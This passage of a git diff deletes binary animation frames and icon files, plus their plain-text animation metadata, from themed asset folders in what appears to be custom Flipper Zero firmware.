b/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinMafia_115x62.bmx deleted file mode 100644 index c37cd533d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinMafia_115x62.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinNice_96x59.bmx b/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinNice_96x59.bmx deleted file mode 100644 index 1c7e5c607..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinNice_96x59.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinWait_61x59.bmx b/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinWait_61x59.bmx deleted file mode 100644 index 5f5626f35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinWait_61x59.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/iButton/iButtonDolphinVerySuccess_108x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/iButton/iButtonDolphinVerySuccess_108x52.bmx deleted file mode 100644 index 47b611a6a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/iButton/iButtonDolphinVerySuccess_108x52.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_0.bm deleted file mode 100644 index 4191af8b7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_1.bm deleted file mode 100644 index 738c546f7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_2.bm deleted file mode 100644 index 432ab276e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt deleted file mode 100644 index 0a08fc2a7..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 3 -Active frames: 0 -Frames order: 0 1 2 -Active cycles: 0 -Frame rate: 2 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_0.bm deleted file mode 100644 index aefb22941..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_1.bm deleted file mode 100644 index 8efa98d5d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_10.bm deleted file mode 100644 index fdf9bbbcf..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_11.bm deleted file mode 100644 index 39771f0d4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_12.bm deleted file mode 100644 index 39f9d33ae..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_13.bm deleted file mode 100644 index b4c0f5c26..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_14.bm deleted file mode 100644 index 2f4af8aeb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_15.bm deleted file mode 100644 index 4ff26b592..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_16.bm deleted file mode 100644 index 3890a7f1f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_2.bm deleted file mode 100644 index d23016894..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_3.bm deleted file mode 100644 index 406349934..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_4.bm deleted file mode 100644 index a4f88d02f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_5.bm deleted file mode 100644 index fcdbf766f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_6.bm deleted file mode 100644 index 4926c87aa..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_7.bm deleted file mode 100644 index dc42726f0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_8.bm deleted file mode 100644 index fcdbf766f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_9.bm deleted file mode 100644 index e69a01959..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/meta.txt deleted file mode 100644 index 4991b01ee..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 17 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_0.bm deleted file mode 100644 index 440580130..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm deleted file mode 100644 index 5e7b0aea8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm deleted file mode 100644 index 67457153f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_11.bm deleted file mode 100644 index b5a45a806..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm deleted file mode 100644 index 98bd18344..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm deleted file mode 100644 index 1e6bb9b1f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm deleted file mode 100644 index 03fb3c0a3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm deleted file mode 100644 index ad913dab7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm deleted file mode 100644 index edc706d8a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm deleted file mode 100644 index a6f6c2202..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm deleted file mode 100644 index 4f191f319..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm deleted file mode 100644 index 4e4f8f420..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_2.bm deleted file mode 100644 index 283c0b049..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm deleted file mode 100644 index 6502e0f51..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_21.bm deleted file mode 100644 index cfd887e88..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_22.bm deleted file mode 100644 index 932a22eba..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_23.bm deleted file mode 100644 index 8dcf52435..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm deleted file mode 100644 index bbce6a9ee..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_25.bm deleted file mode 100644 index 284b6a943..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm deleted file mode 100644 index af3236d9a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm deleted file mode 100644 index 222e52ddb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_28.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_28.bm deleted file mode 100644 index c593bf25c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_29.bm deleted file mode 100644 index f98daff7f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm deleted file mode 100644 index becbf66b6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm deleted file mode 100644 index 746d9492e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm deleted file mode 100644 index 045c8f8cb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_32.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_32.bm deleted file mode 100644 index e059db7e9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_33.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_33.bm deleted file mode 100644 index fe4fc62e6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm deleted file mode 100644 index 763c9dadc..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_35.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_35.bm deleted file mode 100644 index e5719da44..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm deleted file mode 100644 index 8ae13fa73..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_37.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_37.bm deleted file mode 100644 index 103e36cae..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm deleted file mode 100644 index 855b6d8e3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm deleted file mode 100644 index d544b12e0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm deleted file mode 100644 index 9f28cb127..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm deleted file mode 100644 index f78d8af74..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm deleted file mode 100644 index c15de6af0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm deleted file mode 100644 index a1ec108fa..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm deleted file mode 100644 index c4a05d9d0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm deleted file mode 100644 index bb43dc48d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm deleted file mode 100644 index c214b4fc7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt deleted file mode 100644 index 1f2937d97..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 42 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 -Active cycles: 0 -Frame rate: 6 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_0.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm deleted file mode 100644 index 344975fda..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_10.bm deleted file mode 100644 index a1b40296c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm deleted file mode 100644 index 6390af889..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_3.bm deleted file mode 100644 index f1561ebb6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm deleted file mode 100644 index 34847a181..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm deleted file mode 100644 index b635bf3e4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_6.bm deleted file mode 100644 index 86ade632b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_7.bm deleted file mode 100644 index 3659bd960..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm deleted file mode 100644 index f8dfa729e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm deleted file mode 100644 index 77cbb5a7c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt deleted file mode 100644 index c60148050..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 11 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_0.bm deleted file mode 100644 index 086b1eb14..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_1.bm 